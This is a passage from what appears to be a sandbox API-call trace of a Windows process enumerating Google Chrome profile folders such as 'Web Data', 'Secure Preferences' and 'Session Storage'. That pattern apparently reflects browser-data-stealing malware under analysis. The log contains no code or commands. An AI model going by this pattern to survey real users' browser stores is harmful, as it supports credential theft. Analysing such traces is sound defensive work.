nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="previews_opt_out.db-journal", cAlternateFileName="PREVIE~1.DB-")) returned 1 [0179.106] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab07e0, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab07e0, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1a3ef868, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager", cAlternateFileName="QUOTAM~1")) returned 1 [0179.106] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebab2f0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xebab2f0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x1a43bdf4, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuotaManager-journal", cAlternateFileName="QUOTAM~2")) returned 1 [0179.106] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5706285f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xb35381ed, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xb35822e2, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x87ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Secure Preferences", cAlternateFileName="SECURE~1")) returned 1 [0179.106] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x380fd603, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x380ffd37, ftLastAccessTime.dwHighDateTime=0x1d5c553, ftLastWriteTime.dwLowDateTime=0x385bfa53, ftLastWriteTime.dwHighDateTime=0x1d5c553, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Service Worker", cAlternateFileName="SERVIC~1")) returned 1 [0179.106] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3d870122, ftCreationTime.dwHighDateTime=0x1d5c553, ftLastAccessTime.dwLowDateTime=0x19a16bd0, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x19a16bd0, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Session Storage", cAlternateFileName="SESSIO~1")) returned 1 [0179.106] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe774d6a2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts", cAlternateFileName="SHORTC~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52601e23, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52601e23, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xe7979194, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shortcuts-journal", cAlternateFileName="SHORTC~2")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x513a1ab9, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x513a1ab9, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x513a1ab9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Data", cAlternateFileName="SYNCDA~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb375cbe, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xeb375cbe, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xeb375cbe, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sync Extension Settings", cAlternateFileName="SYNCEX~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x514606bb, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1867d79e, ftLastAccessTime.dwHighDateTime=0x1d5c568, ftLastWriteTime.dwLowDateTime=0x1867d79e, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thumbnails", cAlternateFileName="THUMBN~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5113f4c1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5113f4c1, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb01fd4e6, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites", cAlternateFileName="TOPSIT~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5118b971, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5118b971, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb0233256, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Top Sites-journal", cAlternateFileName="TOPSIT~2")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf148b749, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xb35381ed, ftLastAccessTime.dwHighDateTime=0x1d5c565, ftLastWriteTime.dwLowDateTime=0xb36b381a, ftLastWriteTime.dwHighDateTime=0x1d5c565, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="TransportSecurity", cAlternateFileName="TRANSP~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52aedbdc, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x52aedbdc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5776f89b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visited Links", cAlternateFileName="VISITE~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56cf52f5, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56cf52f5, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56cf52f5, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Applications", cAlternateFileName="WEBAPP~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x189567ba, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data", cAlternateFileName="WEBDAT~1")) returned 1 [0179.107] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51119270, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x51119270, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x189e1dca, ftLastWriteTime.dwHighDateTime=0x1d5c568, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Data-journal", cAlternateFileName="WEBDAT~2")) returned 1 [0179.108] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.108] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.108] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", lpFilePart=0x0) returned 0x46 [0179.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.108] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", lpFilePart=0x0) returned 0x46 [0179.108] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.109] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.109] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.109] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", lpFilePart=0x0) returned 0x42 [0179.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", lpFilePart=0x0) returned 0x42 [0179.113] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.113] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.113] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.113] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", lpFilePart=0x0) returned 0x41 [0179.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.114] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", lpFilePart=0x0) returned 0x41 [0179.114] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2de7be03, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x2de7be03, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.114] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2de7be03, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x2de7be03, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.115] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dcb2252, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x2de7be03, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x2de7be03, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32.0.0.303", cAlternateFileName="3200~1.303")) returned 1 [0179.115] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dcb2252, ftCreationTime.dwHighDateTime=0x1d5c554, ftLastAccessTime.dwLowDateTime=0x2de7be03, ftLastAccessTime.dwHighDateTime=0x1d5c554, ftLastWriteTime.dwLowDateTime=0x2de7be03, ftLastWriteTime.dwHighDateTime=0x1d5c554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="32.0.0.303", cAlternateFileName="3200~1.303")) returned 0 [0179.115] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.115] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.115] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", lpFilePart=0x0) returned 0x3b [0179.115] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.115] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl", lpFilePart=0x0) returned 0x3b [0179.115] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\pnacl\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f990 [0179.115] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.116] FindNextFileW (in: hFindFile=0x135f990, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.116] FindClose (in: hFindFile=0x135f990 | out: hFindFile=0x135f990) returned 1 [0179.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.116] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing", lpFilePart=0x0) returned 0x43 [0179.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.116] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing", lpFilePart=0x0) returned 0x43 [0179.116] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.116] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.116] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x511fe097, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x511fe097, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x511fe097, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.117] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", lpFilePart=0x0) returned 0x47 [0179.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.117] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant", lpFilePart=0x0) returned 0x47 [0179.117] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SSLErrorAssistant\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.117] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.117] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fecf0 | out: 